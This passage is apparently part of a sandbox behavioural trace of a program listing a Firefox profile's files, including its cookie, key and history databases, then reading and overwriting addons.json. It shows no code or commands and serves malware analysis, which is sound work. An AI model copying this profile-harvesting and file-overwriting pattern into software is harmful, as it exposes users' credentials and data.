cAlternateFileName="BLOCKL~1.XML")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x400ce751, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xff9a54e3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x0, dwReserved1=0x0, cFileName="containers.json", cAlternateFileName="CONTAI~1.JSO")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x439749, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashes", cAlternateFileName="")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="datareporting", cAlternateFileName="DATARE~1")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe967070, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x292e, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.json", cAlternateFileName="EXTENS~1.JSO")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x145311ab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite", cAlternateFileName="FAVICO~1.SQL")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-shm", cAlternateFileName="FAVICO~3.SQL")) returned 1 [0262.036] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x901d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-wal", cAlternateFileName="FAVICO~2.SQL")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp", cAlternateFileName="")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-gmpopenh264", cAlternateFileName="GMP-GM~1")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-widevinecdm", cAlternateFileName="GMP-WI~1")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2ee0ebb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="handlers.json", cAlternateFileName="HANDLE~1.JSO")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6f2e0a0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0262.037] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd7d1832, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208638, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cce7aa, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40cce7aa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40ccfb2d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8285d1c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8285d1c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x93d01742, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0262.038] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="saved-telemetry-pings", cAlternateFileName="SAVED-~1")) returned 1 [0262.039] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4731d65, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4731d65, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47330f8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json.mozlz4", cAlternateFileName="SEARCH~1.MOZ")) returned 1 [0262.039] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5f9955, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe5f9955, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe645e15, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0262.039] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecurityPreloadState.txt", cAlternateFileName="SECURI~1.TXT")) returned 1 [0262.046] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e0d6ab, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionCheckpoints.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0262.046] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore-backups", cAlternateFileName="SESSIO~1")) returned 1 [0262.046] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7fd9e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb7e7fd9e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7e7fd9e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1433, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0262.046] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiteSecurityServiceState.txt", cAlternateFileName="SITESE~1.TXT")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage", cAlternateFileName="")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76d02, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1f76d02, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x22b9f22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage.sqlite", cAlternateFileName="STORAG~1.SQL")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd1119, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2bd1119, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb8239875, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 1 [0262.047] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 0 [0262.048] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0262.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0262.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0262.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", lpFilePart=0x0) returned 0x55 [0262.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0262.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), fInfoLevelId=0x0, lpFileInformation=0x39df160 | out: lpFileInformation=0x39df160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a3ab44, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0262.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0262.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", lpFilePart=0x0) returned 0x55 [0262.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0262.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.048] GetFileType (hFile=0x8a8) returned 0x1 [0262.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0262.049] GetFileType (hFile=0x8a8) returned 0x1 [0262.049] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x18 [0262.049] ReadFile (in: hFile=0x8a8, lpBuffer=0x39df450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x39df450*, lpNumberOfBytesRead=0x204eb8c8*=0x18, lpOverlapped=0x0) returned 1 [0262.374] CloseHandle (hObject=0x8a8) returned 1 [0262.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", lpFilePart=0x0) returned 0x55 [0262.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0262.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.403] GetFileType (hFile=0x8a8) returned 0x1 [0262.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0262.403] GetFileType (hFile=0x8a8) returned 0x1 [0262.403] WriteFile (in: hFile=0x8a8, lpBuffer=0x392e910*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x392e910*, 